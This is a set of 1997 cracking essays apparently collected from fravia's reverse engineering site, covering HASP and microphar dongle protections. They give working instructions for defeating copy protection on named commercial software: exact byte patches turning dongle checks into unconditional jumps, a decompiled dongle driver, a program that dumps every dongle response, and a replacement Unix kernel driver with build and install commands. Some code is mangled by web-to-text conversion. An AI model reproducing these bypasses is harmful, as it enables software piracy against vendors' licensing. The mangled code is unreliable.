004D2E10: 04 01 50 07 00 00 01 00-44 01 50 07 FF FF 00 00

and here is what i call "Jumper"

004A15B8 Jumper: mov edx, ds:BSS_JmpDat2


004A15BE add edx, 74h
004A15C4 mov eax, [edx]
004A15C6 or eax, eax
004A15C8 jz short JumperSk
004A15CA jmp eax
004A15CC JumperSk: push edx
004A15CD call j_DllFunctionCall

http://www.instinct.org/fravia/zaferdon.htm (13 of 15) [2/7/2001 3:13:02 PM]


zaferdon

004A15D2 jmp eax

ok now, i'll skip the other hex code and try to give you a basic code..
(note: i tried to generate the basic code myself, so real code can be
different, but anyway this will give you an idea.)

Service = IS_HASP
Call hasp(Service, SeedCode, LptNum, Passw1, Passw2, p1&, p2&, p3&, p4&)
If p1& = 0 Then
'if p1&(ret code1) =0 then No Hasp Found
End If

Service = GET_HASP_STATUS
Call hasp(Service, SeedCode, LptNum, Passw1, Passw2, p1&, p2&, p3&, p4&)
'If ??? = 3 Then
'can be p1&+p2&+p3&=3 ??
'End If

Service = GET_ID_NUM
Call hasp(Service, SeedCode, LptNum, Passw1, Passw2, p1&, p2&, p3&, p4&)
If p3& <> 0 Then
'if p3&(ret code3 (status))<>0 then No Hasp ID returned.
Else
'The ID number is a 32 bit integer constructed from the following
'equation : p2*65536+p1
'The following computation converts the two 16 bit integers returned
'from the hasp routine to a 32 bit integer.
If p2& <0 Then If p1& < 0 Then ID&="(65536" + p2&) * 65536 + 65535 + p1& Else
ID&="(65536" + p2&) * 65536 + p1& End If Else If p1& < 0 Then ID&="p2&" * 65536 +
65536 + p1& Else ID&="p2&" * 65536 + p1& End If If ID&="MyID" then 'Heyo.... :))))
End IF End If ok.. to crack this program just change "56"(equal)'s to "6c"(not equal)
and vice versa. and you're done.. :) X) Conclusion Part ok, since we're finished with
cracking here are some more notes from your fav. cracker. 0) Remember many hasp
protected programs have the codes given above. So when you get a hasped program, just
search the code.. comment some and you're done.. :) 1) don't ever worry about the
garbage codes. our aim is the haspreg call. after the haspreg call, we'll have
registers loaded with return codes which we can modify. 2) if the program uses
memohasp also check the haspreg call, since the memory contents will be soon returned
to an address thus we can gain the info. (you must have the dongle to read the memory
contents) 3) Animadeus and I was working on a HaspEmulator but we found a
HaspEmulator by MeteO/UCL for DOS. (well done MeteO) but we may release our
WinHaspEmulator. :))) 4) Get MeteO's programs, too. He seems to have spent hell a lot
of time reverse engineering Hasp. (#ucl'97 @ Efnet and http://ucl.homepage.ru) 5)
Keep my introduction to hasp doc handy. You'll need it to understand what your target
program is doing. 6) si3.21 and ida 3.7 rocks.. :) (consider buying them) 7) cracking
a program, i use Camel, Pepsi, Sepultura, Slayer. (for deeper code "analysis,.class"
tppabs="http://fravia.org/analysis,.class" Pantera is also fine) 8) very special
greets go to Animadeus (thanx for morale support), The Owl (thanx for morale support.
btw, i'm still thinkin' about that 1k chess, eheh) Razzia (thanx for the loong
chats), eMX! (nice to see you back in town) 9) and the ppl in #cracking/#crackers..
hii pals.. A) watch out for my sentinel, fast-eye (hardlock) docs.. soon.. Until next
time, have fun! Zafer/BSCA End of part C, added 19 October1997

http://www.instinct.org/fravia/zaferdon.htm (14 of 15) [2/7/2001 3:13:02 PM]


zaferdon

1.0 InCall

2.0 VxD

TIPS AND TRICKS


1.0 Tip1: Hardware Until i finish this doc, here is a quick tip. When you do a "bpio 378" to see the dongle checking you may
find yourself very deep in the code. then you must trace back to find the call etc. But instead of this breakpoint usage, here is
what i use for the dongles i haven't seen before. I've built a hardware to plug the parallel port. it's just a series of "led" (i
recommend red ones) which are connected to parallel port's d0-d7 (you may also put leds to other pins but d0-d7 are enough).
So when i trace through the code, when bypass'ing a call i see the leds flashing. (ahaa!! this call checked for dongle) :)) *evil
grin* then you can act accordingly. (real check can be another call in that call so go in that call to find it out)

Zafer's GREETINGS
Until next time, have fun! -Zafer/BSCA GreETz for this doc: FatalicA, eMX!, Razzia, xOANON, Rasel, Bonito, Cophiber,
Section Jaguar and my partners in reversing. GreETz for part C: FatalicA, eMX!, Razzia, Animadeus, The Owl, xOANON,
Rasel, Bonito, Cophiber Mad Jester, LordByte, Doc-Man and my partners in reverse enginering. (c) Zafer, 1997. All rights
reversed.

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to project 3
homepage links anonymity +ORC students' essays tools cocktails
academy database antismut search_forms mail_fravia
is reverse engineering legal?

http://www.instinct.org/fravia/zaferdon.htm (15 of 15) [2/7/2001 3:13:02 PM]


datapi1

Dongle cracking: NetXRay 1.1.3


("A Very Easy Dongle Protection")

by +DataPimp

(02 November 1997)

Courtesy of fravia's page of reverse engineering

Well, +DataPimp has indeed "specialised" in CD-ROM protections, yet he has now started to work on this 'related' cracking
subject! Well, you would not have thought that some 'so called' dongles just check THEIR OWN PRESENCE ON THE
PORTS... would you? And yet, look here! An easy (yet important) further step!

Cracking NetXRay 1.1.3


(A Very Easy Dongle Protection)

by -= +DataPimp =-

Yes dongles, there was only two dongle essays there and since
I contributed to the Cd-Check essays I would have to say that I wanted
to contribute this to project as well. I would have to say that this is
my first dongle and I was able to defeat it's protection within a matter
of about 1 or 2 minutes. This software is not freely downloadable, but
you can -if you like- find it on the internet, it is the same exact
version that was released by PWA.

OK, so you have the software, let's get going so we can run this
software and see what it looks like. Ok, after you have installed the
program go ahead and run it, you will see a msg box pop up with a message
saying the 'protect key' was not found, and some other junk telling you
to contact them etc.
Ok, now we are not going to use Soft-Ice on this at all, we are
going to decompile the "netxray.exe" file and view it's code.
Once you have decompiled it, we are going to search for the string
"sorry". You will notice that it is found rather quickly, and this
is the code we find:

* Referenced by a Jump at Addresses:00401B33(U), :00401B3E(C)


|
:00401B51 85C0 test eax, eax <-was Dongle attached? :00401B53 742D je
00401B82 <-0="NO!,1=YES!" :00401B55 6A00 push 00000000 :00401B57 6A00 push 00000000 *
StringData Ref from Data Obj>"Sorry! No protect key is found. "
->"Please contact Cinco Networks,Inc "
->"by phone (770) 671-9272, or by "
->"Internet e-mail sales@cinco.com, "
->"if you wish to purchase or upgrade "
->"NetXRay. Otherwise, return the "
->"complete package in the original "
->"shipping box. Thank you for your "
->"interest in Cinco products."

http://www.instinct.org/fravia/datapi1.htm (1 of 2) [2/7/2001 3:13:04 PM]


datapi1

|
:00401B59 6878325500 push 00553278 <-prepare Nag :00401B5E E835E40F00
call 004FFF98 <-Call Nag This is a classic Bad Guy, Good Guy test, and can easily be
defeated. At Code "Data.class" tppabs="http://fravia.org/Data.class" Location
"00401B53" all we have to do is change that to a "jmp"... of course now it does not
matter any more if the dongle is found or not the code snippet will continue to allow
the running of the program. I hope that this has helped people with the understanding
of dongles, I know that I have learned something myself, and that has made it all
worth while. Thanks for reading, DataPimp@hotmail.com
(c) +DataPimp 1997. All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to Project 3 ("Dongle protections")

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/datapi1.htm (2 of 2) [2/7/2001 3:13:04 PM]


fuhrba.htm

Simple unix busting


(the microphar dongle galore)

by Dr. Fuhrball
(6 November 1997)

Dongle cracking
Courtesy of fravia's page of reverse engineering

Well, I have received this good essay more than a week ago, yet I bat Dr. Fuhrball to 'deepen' it a little,
since many of our readers could be VERY interested in unix cracking, yet may not be very well acquinted
with some of the concepts that unix experts give for granted. Dr Fuhrball was so kind to modify and
revise his essay. Here it is, I'm sure many of you will find it partiicularly interesting.

Simple unix busting


by Dr. Fuhrball

modified 6 November 1997


I have read all of the student essays, and none refer to unix and only two refer to dongles. This essay
refers to both and indicates some techniques. HISTORY: The unix lineage for X86 based architecture
goes back to the original Xenix for 286 that microsoft produced back in 1983 with source code bought
from AT&T for about 1 Million dollars. About 6 months after the purchase of source code from AT&T,
AT&T started selling source code to anyone with 65 to 250 thousand dollars. Billy boy got a bit miffed
and split of the Xenix product to Santa Cruz Operation (SCO). SCO has been producing Unix ever since.
They have significantly added to the line with networking from Lachman and Sun, and X windows from
MIT. SCO openserver 5 is a highly integrated and slick product, but its fairly expensive too. If you are at
a University however you can get the product for virtually nothing. MAJOR NOTE: you need root
password to do all of this. The product in question is Aries which is a 3d graphics package that runs on
Sco openserver5. Similar to autocad in function, its about 100 times more powerful. And about 5 times as
expensive. It drives SLA's (stereo lithography aparatus) directly. (argon ion laser writes on nasty
chemical which turns solid creating 3d shapes). It also drives my hobby mill in the basement. Anyway
this program comes with a microphar (french) dongle which is basically a few gates and a national
semiconducor eeprom nmc9306 (32 words). A lot of the dongles out there use this part, because of its
extremely low consumption of power. Its serial 2 wire interface and open collector output make it perfect
for attachment to a printer port. There are a number of ways to break this thing. Since I have an MSEE
(Master of Science, Electrical Engineering), my first inclination is to hook up the logic analyzer and look

http://www.instinct.org/fravia/fuhrba.htm (1 of 9) [2/7/2001 3:13:09 PM]


fuhrba.htm

at whats going on. I have now seen at least 5 different dongles that all use the national semiconductor
eeprom, in various creative ways, but its basically the same thing. The logic analyzer trick certainly
works, because you can see the entire data stream and if you wanted to you could create a completely
compatable device which combined with a small software program would allow you to read out all of the
data, and then program it into your own device. However the use of dongles tends to cause other
problems, especially with most new bi-directional laser printers. So the desire to remove the device is
preferable. The logic analyzer method relys on the fact that there is really only one data output line, one
clock line and one data input line. The rest of the lines are either do not care, or held in a high or low
state to enable the device. (The new Rainbow technologies software sentinel pro is just a fancied version
of same, with the addition of their 8 shift register with adjustable feedback of old), 100% proprietary of
course. Of Course I also have a MSCS (Master of Science, Computer Science), and that lends me to the
software crack. Which is elegant because it does not touch the origional aries code. And thats good,
because the main executable is over 10mb. And with their update of the month club, you could be
cracking this thing for the rest of your life. In addition there are 6 different executables that would need
cracking. This crack once installed, lasts forever. Back to the story; When you install this program it adds
a device driver that talks to the dongle. In all unix's, virtually everything is done with device drivers. hard
disk, serial ports, ethernet ports, the video display... You can even access memory through a device
driver. Virtually all X86 based unix's today based on AT&T 5.4 code do the following in exactly the
same manner. (SCO,Interactive, UHC, Consensys, Novell Unix....) (BSDI and Solaris are different
however but these tricks still hold) running strings on Driver.o module in the /etc/conf/pack.d/mp shows
among others the following symbols. (all unix drivers are stored in /etc/conf/pack.d/drivername and
consist of an object module and possibly a C tunables file called space.c) (also on new unix's, these
directorys are actually symbolicly linked to somewhere else) mpopen, mpclose, mpread, mpwrite... So
now we have the names to look at in kernel space. Fire up adb on /unix and disassemble starting at
mpopen and you get (one of the nice things about unix is that you can always get to kernel space, but be
careful patching a live kernel) dumpfile = /dev/mem, namelist = /unix, outfile = stdout &gt; mpopen
pushl %ebp mpopen+1 movl %esp,%ebp mpopen+3 subl $0x0,%esp mpopen+9 pushl %ebx mpopen+a
pushl %edi mpopen+b pushl %esi mpopen+c testb $0x1,0xd00ee570 [-,valeur_port +1c] mpopen+13 je
0x0c <d0093559> [mpopen+25] mpopen+19 movb $0x10,0xe00010e9 [-,u+10e9] mpopen+20 jmp
0x012 <d009356b> [mpopen+37] mpopen+25 data16 mpopen+26 movw $0x1,0xd00ee570
[-,valeur_port +1c] mpopen+2e data16 mpopen+2f movw $0x0,0xd00ee572 [valeur_port +1e]
mpopen+37 popl %esi mpopen+38 popl %edi mpopen+39 popl %ebx mpopen+3a leave mpopen+3b ret
mpclose pushl %ebp mpclose+1 movl %esp,%ebp mpclose+3 subl $0x0,%esp mpclose+9 pushl %ebx
mpclose+a pushl %edi mpclose+b pushl %esi mpclose+c data16 mpclose+d movw $0x0,0xd00ee570
[valeur_port +1c] mpclose+15 popl %esi mpclose+16 popl %edi mpclose+17 popl %ebx mpclose+18
leave mpclose+19 ret

The rest has been deleted for brievity


Anyway, its obviously C code, virtually
all unix drivers are. So lets dis-compile
the whole thing, which once you get the
knack, goes quite quick.

Also note that good C compilers generate code thats


so obvious that its easy to dis-compile.

http://www.instinct.org/fravia/fuhrba.htm (2 of 9) [2/7/2001 3:13:09 PM]


fuhrba.htm

Here is the dis-compiled code

It took about 3 hours with my favorite drink


which is 50 year old single malt north highlands
SCOTCH. I did have a bottle of real russian vodka
once, but in the USA, its virtually impossible to find.

Notice that its still in french. They did not even


have the brains to strip the debugging symbols out
of the final Driver.o module which made dis-compilation
that much easier.

One thing that makes this easier is that at any point


you can re-compile and compare to the original object
module. At some point they will both be the same except
for the compile date.
/* original microphar dongle driver */ /* I assume they don't own a copyright on this thing */ #include
<sys/types.h> #include <sys/errno.h> #include <sys/param.h> #include <sys/sysmacros.h> #include
<sys/signal.h> #include <sys/dir.h> #include <sys/seg.h> #include <sys/page.h> #include <sys/user.h>
struct valeur_port { unsigned char p; unsigned short p8; unsigned char pa,pb,pc,pd; unsigned short
p10,p12,p14,p16,p18,p1a,p1c; short p1e,p20; unsigned short p22; short p24; }valeur_port; extern char
fvect; extern struct xnet{ unsigned char p14,p15,p16,p17,p18; }xnet; mpopen(dev,flag) short int dev,flag;
{ if (valeur_port.p1c &amp; 0x1) u.u_error=EBUSY; else { valeur_port.p1c=1; valeur_port.p1e=0; } }
mpclose(dev,flag) short int dev,flag; { valeur_port.p1c=0; } mpwrite(dev,flag) short int dev,flag; { while
((valeur_port.p20 = cpass()) &gt;= 0) { switch (valeur_port.p1e) { case 0 : if(valeur_port.p20 == 'P') {
valeur_port.p1e=1; valeur_port.p22=0; } break; case 1 : w1(); default: break; } } } w1() { unsigned int
temp; if (valeur_port.p20 != '*') { if (valeur_port.p20 &gt;= '0') { if (valeur_port.p20 <= '9') {
valeur_port.p22="valeur_port.p22*10;" valeur_port.p22="valeur_port.p22+(valeur_port.p20-0x30);"
return; } } return; } else { valeur_port.p1e="0;" temp="spl5();" valeur_port.p24="valeur_port.p22;" if
(valeur_port.p24="=" 0) valeur_port.p24 +="1;" driver(); splx(temp); } } mpread(dev,flag) short int
dev,flag; { unsigned int temp; temp="0x2710;" /* 10000 */ valeur_port.p8 +="valeur_port.p22;"
valeur_port.p8 ^="0x79b;" /*1947*/ valeur_port.p8 | 0xfedc); passc(0x30); while (temp> 0) {
passc((valeur_port.p8/temp)+'0'); valeur_port.p8= valeur_port.p8 % temp; temp=temp/10; } passc('\n'); }
sort(number) unsigned char number; { unsigned short temp; temp=valeur_port.p1a;
iooutb(temp,number); tempo(); } alimentation() /* this is the one that mixes up the output lines */ {
unsigned int temp; valeur_port.p=0; sort(0); for (temp=0;temp <0x28; temp++) alea();
valeur_port.p="valeur_port.pa;" sort(valeur_port.p); } _fin() { valeur_port.p &="~valeur_port.pb;"
sort(valeur_port.p); valeur_port.p |="valeur_port.pc;" sort(valeur_port.p); valeur_port.p
&="~valeur_port.pc;" sort(valeur_port.p); valeur_port.p &="~valeur_port.pd;" sort(valeur_port.p);
valeur_port.p="0;" sort(0); } tempo() { short temp; for (temp="0;temp" < 0xa;temp++); }
lecturemot(var1,var2) unsigned short var1,var2; { unsigned short temp; char temp1; char temp1a;
unsigned short temp2; short temp3; temp2="0;" temp="0;" fvect="ioinb(valeur_port.p1a);"
alimentation(); do { operation(0x80,var1); valeur_port.p |="valeur_port.pc;" sort(valeur_port.p);
temp1="lecture_bit();" valeur_port.p &="~valeur_port.pc;" sort(valeur_port.p); lecture_bit();

http://www.instinct.org/fravia/fuhrba.htm (3 of 9) [2/7/2001 3:13:09 PM]


fuhrba.htm

temp="temp&lt;&lt;1;" if (temp1="=0)" ++temp; ++temp2; } while (temp2 < 0x10); valeur_port.p


|="valeur_port.pc;" sort(valeur_port.p); valeur_port.p &="~valeur_port.pc;" sort(valeur_port.p); _fin();
sort(fvect); return(temp); } operation(oper,oper2) unsigned short oper,oper2; { unsigned short temp1;
unsigned short temp; valeur_port.p |="valeur_port.pb;" sort(valeur_port.p); valeur_port.p
|="valeur_port.pd;" sort(valeur_port.p); valeur_port.p |="valeur_port.pc;" sort(valeur_port.p);
valeur_port.p &="~valeur_port.pc;" sort(valeur_port.p); switch (oper) { case 0 : case 0x10: case 0x20:
case 0x30: oper2="oper;" break; default: oper2 |="oper;" } for (temp="0;temp&lt;8;temp++)" { if (temp1
& 0x80) { valeur_port.p |="valeur_port.pd;" sort(valeur_port.p); } else { valeur_port.p
|="~valeur_port.pd;" sort(valeur_port.p); } tempo(); valeur_port.p |="valeur_port.pc;"
sort(valeur_port.p); valeur_port.p |="valeur_port.pc;" sort(valeur_port.p); valeur_port.p
&="~valeur_port.pc;" sort(valeur_port.p); temp1="temp1&lt;&lt;1;" } valeur_port.p
&="~valeur_port.pd;" sort(valeur_port.p); } lecture_bit() { unsigned char temp1; unsigned char temp2;
unsigned short temp3; temp3="valeur_port.p1a;" temp1="0xff;" temp3++; tempo();
temp2="ioinb(temp3);" temp1 &="temp2;" temp1 &="0x40;" return(temp1); } etatci() { unsigned short
temp1,temp2,temp3,temp4; temp3="0x3e8;" temp4="0;" valeur_port.p &="~valeur_port.pb;"
sort(valeur_port.p); valeur_port.p &="~valeur_port.pd;" sort(valeur_port.p); tempo();
valeur_port.p|="valeur_port.pc;" sort(valeur_port.p); valeur_port.p &="~valeur_port.pc;"
sort(valeur_port.p); valeur_port.p |="valeur_port.pb;" sort(valeur_port.p); tempo(); valeur_port.p
|="valeur_port.pc;" sort(valeur_port.p); do { valeur_port.p |="valeur_port.pc;" sort(valeur_port.p);
temp1="(unsigned" char)lecture_bit(); valeur_port.p |="valeur_port.pc;" sort(valeur_port.p);
lecture_bit(); if (temp4++>0x10) { if (temp1 ==0) goto more; } } while (--temp3 !=0); more:
temp2=0x3e8-temp3; tempo(); valeur_port.p &amp;= ~valeur_port.pb; sort(valeur_port.p); valeur_port.p
|= valeur_port.pc; sort(valeur_port.p); valeur_port.p &amp;= ~valeur_port.pc; sort(valeur_port.p);
valeur_port.p |= valeur_port.pb; sort(valeur_port.p); return(temp2); } ewactif() { operation(0x30,0);
valeur_port.p &amp;= ~valeur_port.pb; sort(valeur_port.p); tempo(); } ewinactif() { operation(0,0);
valeur_port.p &amp;= ~valeur_port.pb; sort(valeur_port.p); tempo(); } effacemot(oper) unsigned short
oper; { unsigned short temp1,temp2; alimentation(); ewactif(); operation(0xc0,oper); temp1=etatci();
if(temp1!=0); ewinactif(); _fin(); return(temp1); } ecritcode(oper,oper1) unsigned short oper,oper1; {
unsigned short temp1,temp2; temp2=0x10; alimentation(); ewactif(); operation(0xc0,oper);
temp1=etatci(); if (temp1==0) { _fin(); return(temp1); } operation(0x40,oper); do { if ((oper1 &amp;
0x8000)) { valeur_port.p |= valeur_port.pd; sort(valeur_port.p); goto more2; } valeur_port.p &amp;=
~valeur_port.pd; sort(valeur_port.p); more2: valeur_port.p |= valeur_port.pc; sort(valeur_port.p);
valeur_port.p |= valeur_port.pc; sort(valeur_port.p); valeur_port.p &amp;= ~valeur_port.pc;
sort(valeur_port.p); oper1=oper1<<1; } while (--temp2 !="0);" temp1="etatci();" if (temp1 !="0)"
ewinactif(); _fin(); return(temp1); } choixnumero() { valeur_port.p16="0;" calcul_masque();
valeur_port.p1a="0x3bc;" valeur_port.p14="lecturemot(0x3f);" if (valeur_port.p18 !="valeur_port.p14)"
{ valeur_port.p1a="0x378;" valeur_port.p14="lecturemot(0x3f);" if (valeur_port.p18
!="valeur_port.p14)" { valeur_port.p1a="0x278;" valeur_port.p14="lecturemot(0x3f);" if
(valeur_port.p18 !="valeur_port.p14)" valeur_port.p16="1;" } } } alea() { unsigned char
temp1,temp2,temp3,temp4; temp2="rnd();" temp3="rnd()" & 3; temp3++; do { sort(~valeur_port.pa &
temp2); tempo(); tempo(); tempo(); tempo(); tempo(); temp2="~temp2;" sort(~valeur_port.pa & temp2);
tempo(); tempo(); tempo(); tempo(); tempo(); temp2="~temp2;" } while (--temp3 );
sort(valeur_port.p="0);" tempo(); tempo(); tempo(); } calcul_masque() {
valeur_port.pa="1&lt;&lt;(xnet.p14-2);" valeur_port.pb="1&lt;&lt;(xnet.p17-2);"
valeur_port.pc="1&lt;&lt;(xnet.p16-2);" valeur_port.pd="1&lt;&lt;(xnet.p15-2);"
valeur_port.p18="xnet.p14;" valeur_port.p18*="10;" valeur_port.p18+="xnet.p15;"

http://www.instinct.org/fravia/fuhrba.htm (4 of 9) [2/7/2001 3:13:09 PM]


fuhrba.htm

valeur_port.p18*="10;" valeur_port.p18+="xnet.p16;" valeur_port.p18*="10;"


valeur_port.p18+="xnet.p17;" } lecture() { valeur_port.p14="lecturemot(valeur_port.p10);" } ecrit(oper)
unsigned char *oper; { unsigned short temp1; unsigned char temp2,temp3; unsigned short temp4;
temp1="valeur_port.p12;" temp2="valeur_port.p10;" valeur_port.p10="valeur_port.p10">&gt;2;
valeur_port.p10 +=0x20; temp4=ecritcode(valeur_port.p10,temp1);
valeur_port.p14=lecturemot(valeur_port.p10); if (temp1==valeur_port.p14) if (temp4==0)
valeur_port.p16=1; if (valeur_port.p16==1) { *oper=1; return; } valeur_port.p12=temp1;
valeur_port.p10=temp2; temp4=ecritcode(valeur_port.p10,temp1); if (valeur_port.p16!=1) if (temp4==0)
{ *oper=0x1; return; } *oper=0x0; } driver() { haltscheduler(); choixnumero(); if (valeur_port.p16==1) {
valeur_port.p8=0; goto more3; } valeur_port.p14=lecturemot(0x1f); valeur_port.p8=valeur_port.p14;
more3: freescheduler(); } haltscheduler() { int temp2; for (temp2=0;temp2<0x1ffff;++temp2); }
freescheduler() { unsigned int temp1; } rnd(number) unsigned short number; { int temp;
temp="valeur_port.p24" & 0x2000; if (temp!="0)" valeur_port.p24^="0x1;"
valeur_port.p24="valeur_port.p24&lt;&lt;1;" if (temp!="0)" valeur_port.p24|="1;"
return(valeur_port.p24); } dec_adjust() { /* not used */ }

Whats going on here. A bunch of mucking around to hide


the real and trivial protection stuff. Also various
ands, ors, and inverts to further hide the data, plus
moving around more than the one data line and clock
line to the eeprom to throw off my Tektronix 7d01/df2
logic analyzer. (NOT)

Before going any further it helps to print out and study


this driver. It shows many things including the required
entry points, and functions that pass strings to and from
kernel space. Device drivers must pay strict attention to
memory and stack usage, as well as calling most intrinsic
functions. Thats why for example in the code below debugging
strings have to be written to the Common Error routine instead
of calling another driver. In virtually all cases one device
driver cannot call another.

Back to the story

Basically you write to the device driver a "P#####*"


and when you issue a read call you get an ascii string as the answer.

The ##### is an ascii number between 0 and 65535

for example P0* P00* P1234*

http://www.instinct.org/fravia/fuhrba.htm (5 of 9) [2/7/2001 3:13:09 PM]


fuhrba.htm

further example

cat >/dev/mp

type in P1234*

hit a control Z

cat </dev/mp

5678

So now lets write a simple program which when compiled and


run with the output re-directed to the file "datafile"
generates all 64K possible output answers without having
to really figure out the entire thing.

The algorithm part of the software sentinel pro works in


exactly the same fashion. (Until you realize that its just
an 8 bit shift register with tapped feedback, then its easy)

What we are doing here is taking the simple way out. Instead
of figuring out the 32 words of data in the eeprom and then
calculating the masks, we just interrogate every possible
request and tabulate every possible answer. If this was a
32 bit number, this technique would not be practical.

Furthermore, if Aries actually wrote to the eeprom (which it


definitely does not), we would have to do a bunch more work.
The eeproms used in this device have a maximum write capacity
of between 10,000 and 100,000, and since aries interrogates the
device more than once a minute, writing to it is impractical.

Thus
/* read data from real microphar dongle */ /* using the real driver and a real key */ #include <stdio.h>
#include <signal.h> #include <errno.h> FILE *fps,*fopen(); main() { unsigned lvalue,address;
fps=fopen(&quot;/dev/mp&quot;,&quot;r+&quot;); printf(&quot;unsigned int data[] = {&quot;); for
(address=0; address<=65535; address ++) { fprintf(fps,"P%d*",address); fseek(fps,0L,0);
fscanf(fps,"%d",&lvalue); printf("%d , ",lvalue); } printf("}"); fclose(fps); }

which generates int data [] = {#,#,#,#.....}

http://www.instinct.org/fravia/fuhrba.htm (6 of 9) [2/7/2001 3:13:09 PM]


fuhrba.htm

Pretty simple huh. OH, and yes this takes a while


to run. (about 15 minutes)

Now lets hack the origional device driver removing


lots and lots of useless garbage. We cannot null out the
open and close routines, because they prevent re-entrancy.

Thus
#include <sys/types.h> #include <sys/errno.h> #include <sys/param.h> #include <sys/sysmacros.h>
#include <sys/signal.h> #include <sys/dir.h> #include <sys/seg.h> #include <sys/page.h> #include
<sys/user.h> #include <sys/cmn_err.h> #include &quot;datafile&quot; struct valeur_port { unsigned
char p; unsigned short p8; unsigned char pa,pb,pc,pd; unsigned short p10,p12,p14,p16,p18,p1a,p1c; short
p1e,p20; unsigned short p22; short p24; }valeur_port; mpopen(dev,flag) short int dev,flag; { if
(valeur_port.p1c &amp; 0x1) u.u_error=EBUSY; else { valeur_port.p1c=1; valeur_port.p1e=0; } }
mpclose(dev,flag) short int dev,flag; { valeur_port.p1c=0; } mpwrite(dev,flag) short int dev,flag; { while
((valeur_port.p20 = cpass()) &gt;= 0) { switch (valeur_port.p1e) { case 0 : if(valeur_port.p20 == 'P') {
valeur_port.p1e=1; valeur_port.p22=0; } break; case 1 : w1(); default: break; } } } w1() { unsigned int
temp; if (valeur_port.p20 != '*') { if (valeur_port.p20 &gt;= '0') { if (valeur_port.p20 <= '9') {
valeur_port.p22="valeur_port.p22*10;" valeur_port.p22="valeur_port.p22+(valeur_port.p20-'0');" return;
} } return; } else { /* this was added for debugging and is now removed*/ /*cmn_err
(CE_NOTE,"!%x,",valeur_port.p22);*/ valeur_port.p1e="0;" valeur_port.p8="data[valeur_port.p22];" }
} mpread(dev,flag) short int dev,flag; { unsigned int temp; temp="0x2710;" /* 10000 */ passc(0x30);
while (temp> 0) { passc((valeur_port.p8/temp)+'0'); valeur_port.p8= valeur_port.p8 % temp;
temp=temp/10; } passc('\n'); }

Now we compile this thing, call it Driver.o, replace their driver


with our own (saving theirs someplace safe), relink and install
the unix kernel, and bye bye dongle.

To compile, install and link the kernel do;

cc mp.c -o Driver.o

mv Driver.o /etc/conf/pack.d/mp

cd /etc/conf/cf.d

./link_unix (thats dot slash link underscore unix)

after rebuilding the kernel (takes about 5 minutes) it will


ask if you want to install the kernel as default.

Answer yes.

http://www.instinct.org/fravia/fuhrba.htm (7 of 9) [2/7/2001 3:13:09 PM]


fuhrba.htm

Then it will ask whether you want the environment rebuilt.

The answer here does not matter. But for example if you have
changed major and minor device numbers (which we have not) you
would have to answer yes, because device names in the /dev directory
would no longer be pointing to the right place.

Now reboot (type init 0) and you are done.

In addition, all the utilites necessary to break this come as


part of the operating system (use the crippled C compiler or get
GCC). This is unlike Windows95 where you need softice, wdasm,...

What we have seen here is that parallel port dongles used on


unix boxes give virtually worthless protection, far easier
than their dos/windows counterparts. They all fail the
freddy the freeloader part of the fiat-shamir zero knowledge test!

Matter of fact, a lot of things fail the fiat shamir test. Go search
the web, lots of good reading on this topic.

And while we are on the subject of fiat-shamir, the biggest failure


on this so far is the DSS-02 smart cards for the DSS receivers in
the USA market. The pirates are making way too much money selling
solutions that do not work for long. Look people it does not make
sense. Why give a pirate $500 for a T or L or Battery card, which
1.5 years later croaks permanantly, just to buy the latest twiddled
H card for another $500, and then buy the shim card for another 500.
Its way cheaper to legally subscribe (Canada is a different story).
This is something that needs to be brought to the grass-roots level.
The latest card is way to easy to twiddle. Lets put the people that
are strictly in this for the money out of buisness. We know who you
are. I personally do not have a DSS, and because i have a REAL dish,
I am not likely to ever get one. (4dtv is another story). And since
I live in the USA, I will NOT get involved in DSS activities...

Soon will come an essay on the Rainbow Technologies Software


sentinel superpro. Which can also be busted numerous ways.
And just slightly harder. I now have a virtually 100 percent working
programable hardware solution. And yes you can read the algorithm
and time keys out of the device. Although you can certainly crack

http://www.instinct.org/fravia/fuhrba.htm (8 of 9) [2/7/2001 3:13:09 PM]


fuhrba.htm

this via the software methods, or replace their driver with another,
A downloadable version of a hardware emulator can make this quite
easy to use.

Also an essay on breaking protection on the EESOF (now hp)


touchstone, montecarlo, linecalc and other high priced spreads.
hint( one cmos 8 bit eprom size >128 bytes, 8 diodes, one cap,
one cmos buss transiever). The hardware solution here was just
too simple to ignore.

Other fun targets. The protection DEC uses on their unix that runs
on the alpha motherboards. This one could be fairly tough.

Other fun targets: serial dongles (like netsentinel). Almost as


easy, you have to create a shim between the program and the real
tty driver...

later Dr. Fuhrball


(c) Dr. Fuhrball. All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

project3

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/fuhrba.htm (9 of 9) [2/7/2001 3:13:09 PM]


Dongle protection reversing (HASP)

Dongle protection reversing (HASP) - Pinit dongle testing


(Encyclopaedia Universalis: the French reference)

by The+Chineese

(29 November 1997)

Courtesy of fravia's page of reverse engineering


Well, another interesting dongle essay... pinit tests and dongle verifications programmed in visual basic... gosh! There is may
be a little too much code in here, but people that have to tackle dongles will appreciate this essay a lot.

Let hundred archive sites blossom!


Another important lesson (once more): As +ORC always teached, to know the HISTORY OF SOFTWARE is of paramount
importance for our cracking endeavours... As many of you will probably know, in every decent virus group there is at least one
guy that has the title (and function) of "keeper of the virii"... a very useful 'sofware' sort of archivist, that collects and keeps
available past (rare) specimens for all interested researchers...
Crackers should in my opinion begin to find (or nominate :-) some 'keepers of the old targets'... people who have somewhere
very stable shell space and could gather, maintain, explain, update and keep available for everybody (of course uncracked :-)
for instance, the WHOLE collection of all PAST versions of Hexedit.
Let hundred archive sites blossom... I bet, moreover, that such "specialized" archive-sites would have MANY more visitors
(and for ever!) that many poor cracking/hacking "banal" pages have at the moment!
This said here you have The+Chineese cracking 'the evolution' of a French dongle protected encyclopedia... head his words:
you don't need a dongle to crack a dongle protection! This is true, remember, for MOST DONGLE PROTECTIONS! Yes, my
readers, I actually don't know why +ORC speaks in his tut of hardware dongle cracking... in my own experience I have seen
that you can crack (almost) all dongles without hardware... and without even having put your hands on the dongle itself! (So
much for "heavy hardware protection enjoy!

DONGLE PROTECTION (HASP)


ENCYCLOPAEDIA UNIVERSALIS
(the french Reference of Encyclopaedia)
